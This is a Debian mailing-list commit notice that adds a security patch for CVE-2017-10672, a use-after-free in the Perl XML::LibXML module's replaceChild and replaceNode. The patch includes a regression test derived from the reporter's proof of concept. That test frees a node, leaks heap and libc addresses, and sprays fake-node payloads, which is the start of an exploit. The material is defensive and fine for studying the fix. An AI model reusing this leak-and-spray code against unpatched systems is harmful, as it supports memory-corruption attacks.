[libxml-libxml-perl] 01/03: CVE-2017-10672: Use-after-free by controlling the arguments to a replaceChild call

Salvatore Bonaccorso carnil at debian.org
Thu Aug 3 20:09:51 UTC 2017


This is an automated email from the git hooks/post-receive script.

carnil pushed a commit to branch master
in repository libxml-libxml-perl.

commit 0700a409b364370343bb6aff1a1ad91e11de973e
Author: Salvatore Bonaccorso <carnil at debian.org>
Date:   Wed Aug 2 21:28:13 2017 +0200

    CVE-2017-10672: Use-after-free by controlling the arguments to a replaceChild call
    
    Closes: #866676
---
 debian/patches/CVE-2017-10672.patch | 227 ++++++++++++++++++++++++++++++++++++
 debian/patches/series               |   1 +
 2 files changed, 228 insertions(+)

diff --git a/debian/patches/CVE-2017-10672.patch b/debian/patches/CVE-2017-10672.patch
new file mode 100644
index 0000000..d747c7e
--- /dev/null
+++ b/debian/patches/CVE-2017-10672.patch
@@ -0,0 +1,227 @@
+From: Torsten Lüttgert <torsten.luettgert at thinkproject.com>
+Date: Mon, 31 Jul 2017 15:38:17 +0200
+Subject: fix CVE-2017-10672, found by tadinhsung at gmail.com
+Bug-Debian-Security: https://security-tracker.debian.org/tracker/CVE-2017-10672
+Bug-Debian: https://bugs.debian.org/866676
+Bug-SuSE: https://bugzilla.novell.com/show_bug.cgi?id=1046848
+Bug-RedHat: https://bugzilla.redhat.com/show_bug.cgi?id=1470204
+
+and add a test.
+---
+ LibXML.xs            | 108 +++++++++++++++++++++++++++------------------------
+ MANIFEST             |   1 +
+ t/92CVE-2017-10672.t |  61 +++++++++++++++++++++++++++++
+ 3 files changed, 120 insertions(+), 50 deletions(-)
+ create mode 100644 t/92CVE-2017-10672.t
+
+diff --git a/LibXML.xs b/LibXML.xs
+index ad415c8..eaf48af 100644
+--- a/LibXML.xs
++++ b/LibXML.xs
+@@ -4829,38 +4829,42 @@ replaceChild( self, nNode, oNode )
+     PREINIT:
+         xmlNodePtr ret = NULL;
+     CODE:
+-       if ( self->type == XML_DOCUMENT_NODE ) {
++        if( nNode == oNode ) {
++            RETVAL = nNode;
++        }else{
++            if ( self->type == XML_DOCUMENT_NODE ) {
+                 switch ( nNode->type ) {
+-                case XML_ELEMENT_NODE:
+-                    warn("replaceChild with an element on a document node not supported yet!");
+-                    XSRETURN_UNDEF;
+-                    break;
+-                case XML_DOCUMENT_FRAG_NODE:
+-                    warn("replaceChild with a document fragment node on a document node not supported yet!");
+-                    XSRETURN_UNDEF;
+-                    break;
+-                case XML_TEXT_NODE:
+-                case XML_CDATA_SECTION_NODE:
+-                    warn("replaceChild with a text node not supported on a document node!");
+-                    XSRETURN_UNDEF;
+-                    break;
+-                default:
+-                    break;
++                    case XML_ELEMENT_NODE:
++                        warn("replaceChild with an element on a document node not supported yet!");
++                        XSRETURN_UNDEF;
++                        break;
++                    case XML_DOCUMENT_FRAG_NODE:
++                        warn("replaceChild with a document fragment node on a document node not supported yet!");
++                        XSRETURN_UNDEF;
++                        break;
++                    case XML_TEXT_NODE:
++                    case XML_CDATA_SECTION_NODE:
++                        warn("replaceChild with a text node not supported on a document node!");
++                        XSRETURN_UNDEF;
++                        break;
++                    default:
++                        break;
+                 }
+-        }
+-        ret = domReplaceChild( self, nNode, oNode );
+-        if (ret == NULL) {
+-            XSRETURN_UNDEF;
+-        }
+-        else {
+-            LibXML_reparent_removed_node(ret);
+-            RETVAL = PmmNodeToSv(ret, PmmOWNERPO(PmmPROXYNODE(ret)));
+-            if (nNode->type == XML_DTD_NODE) {
+-                LibXML_set_int_subset(nNode->doc, nNode);
+             }
+-            if ( nNode->_private != NULL ) {
+-                PmmFixOwner( PmmPROXYNODE(nNode),
+-                             PmmOWNERPO(PmmPROXYNODE(self)) );
++            ret = domReplaceChild( self, nNode, oNode );
++            if (ret == NULL) {
++                XSRETURN_UNDEF;
++            }
++            else {
++                LibXML_reparent_removed_node(ret);
++                RETVAL = PmmNodeToSv(ret, PmmOWNERPO(PmmPROXYNODE(ret)));
++                if (nNode->type == XML_DTD_NODE) {
++                    LibXML_set_int_subset(nNode->doc, nNode);
++                }
++                if ( nNode->_private != NULL ) {
++                    PmmFixOwner( PmmPROXYNODE(nNode),
++                                 PmmOWNERPO(PmmPROXYNODE(self)) );
++                }
+             }
+         }
+     OUTPUT:
+@@ -4874,30 +4878,34 @@ replaceNode( self,nNode )
+         xmlNodePtr ret = NULL;
+         ProxyNodePtr owner = NULL;
+     CODE:
+-        if ( domIsParent( self, nNode ) == 1 ) {
+-            XSRETURN_UNDEF;
+-        }
+-        owner = PmmOWNERPO(PmmPROXYNODE(self));
++        if( self == nNode ) {
++            RETVAL = nNode;
++        }else{
++            if ( domIsParent( self, nNode ) == 1 ) {
++                XSRETURN_UNDEF;
++            }
++            owner = PmmOWNERPO(PmmPROXYNODE(self));
+ 
+-        if ( self->type != XML_ATTRIBUTE_NODE ) {
+-              ret = domReplaceChild( self->parent, nNode, self);
+-        }
+-        else {
+-             ret = xmlReplaceNode( self, nNode );
+-        }
+-        if ( ret ) {
+-            LibXML_reparent_removed_node(ret);
+-            RETVAL = PmmNodeToSv(ret, PmmOWNERPO(PmmPROXYNODE(ret)));
+-            if (nNode->type == XML_DTD_NODE) {
+-                LibXML_set_int_subset(nNode->doc, nNode);
++            if ( self->type != XML_ATTRIBUTE_NODE ) {
++                ret = domReplaceChild( self->parent, nNode, self);
+             }
+-            if ( nNode->_private != NULL ) {
+-                PmmFixOwner(PmmPROXYNODE(nNode), owner);
++            else {
++                ret = xmlReplaceNode( self, nNode );
++            }
++            if ( ret ) {
++                LibXML_reparent_removed_node(ret);
++                RETVAL = PmmNodeToSv(ret, PmmOWNERPO(PmmPROXYNODE(ret)));
++                if (nNode->type == XML_DTD_NODE) {
++                    LibXML_set_int_subset(nNode->doc, nNode);
++                }
++                if ( nNode->_private != NULL ) {
++                    PmmFixOwner(PmmPROXYNODE(nNode), owner);
++                }
++            }
++            else {
++                croak( "replacement failed" );
++                XSRETURN_UNDEF;
+             }
+-        }
+-        else {
+-            croak( "replacement failed" );
+-            XSRETURN_UNDEF;
+         }
+     OUTPUT:
+         RETVAL
+diff --git a/MANIFEST b/MANIFEST
+index 72fc36f..98efe6c 100644
+--- a/MANIFEST
++++ b/MANIFEST
+@@ -183,6 +183,7 @@ t/90shared_clone_failed_rt_91800.t
+ t/90stack.t
+ t/90threads.t
+ t/91unique_key.t
++t/92CVE-2017-10672.t
+ t/cpan-changes.t
+ t/data/callbacks_returning_undef.xml
+ t/data/chinese.xml
+diff --git a/t/92CVE-2017-10672.t b/t/92CVE-2017-10672.t
+new file mode 100644
+index 0000000..aa7bbef
+--- /dev/null
++++ b/t/92CVE-2017-10672.t
+@@ -0,0 +1,61 @@
++# -*- cperl -*-
++# $Id$
++
++##
++# This test checks if replacing a node with itself
++# leads to use-after-free condition.
++# The bug was found and demonstrated by tadinhsung at gmail.com
++# and fixed by t.luettgert at gmail.com
++
++use Test::More tests => 1;
++use utf8;
++
++use XML::LibXML;
++use strict;
++
++binmode STDOUT, ":utf8";
++use open ':encoding(utf8)';
++BEGIN { $| = 1 }
++my $data='<mipu94><pwn4fun><ufanode>-------------------------------------------------------tadinhsung-at-gmail-dot-com-----------------------------------------------------</ufanode></pwn4fun></mipu94>';
++
++my $x;
++my $alive = 1;
++my $parser = XML::LibXML->new();
++my $info = $parser->load_xml(string=>$data) or die;
++my $root = $info->findnodes("mipu94")->[0];
++my $ufanode = $root->findnodes("pwn4fun/ufanode")->[0];
++$root->replaceChild($ufanode,$ufanode); # triggle free ufanode
++my $k =$root->toString;
++print $k;
++Encode::_utf8_off($k); # need off utf8 to get wide characters
++$x=index($k,"\xff\x7f");
++my $heapoff=substr($k,18,3)."\x00";
++my $libcoff=substr($k,$x-4,6)."\x00\x00";
++
++my $heap = unpack("I",$heapoff);
++my $libc = unpack("Q",$libcoff);
++my $tmp = 0xfffffffff000;
++$libc = $libc & $tmp;
++
++print sprintf("heap: 0x%x\n",$heap);
++print sprintf("libc: 0x%x\n",$libc);
++my $payload=pack("Q", 0x0). 
++pack("Q",0x4141414142424242)x11;
++#try malloc again and refill to create fake ufanode 
++my $fill="$payload";
++my $fill1="$payload";
++my $fill2="$payload";
++my $fill3="$payload";
++my $fill4="$payload";
++my $fill5="$payload";
++#
++my $fakenode=$root->lastChild->lastChild;
++print "i'm still ok and go more far!\n";
++
++# TEST
++is(
++  $alive,
++  1,
++  "crash after replacing a node with itself"
++);
++
diff --git a/debian/patches/series b/debian/patches/series
index c15e2c3..d6ec529 100644
--- a/debian/patches/series
+++ b/debian/patches/series
@@ -1,2 +1,3 @@
 fail-build-no-libxml2.patch
 disable_runtime-version_warning.patch
+CVE-2017-10672.patch

-- 
Alioth's /usr/local/bin/git-commit-notice on /srv/git.debian.org/git/pkg-perl/packages/libxml-libxml-perl.git



More information about the Pkg-perl-cvs-commits mailing list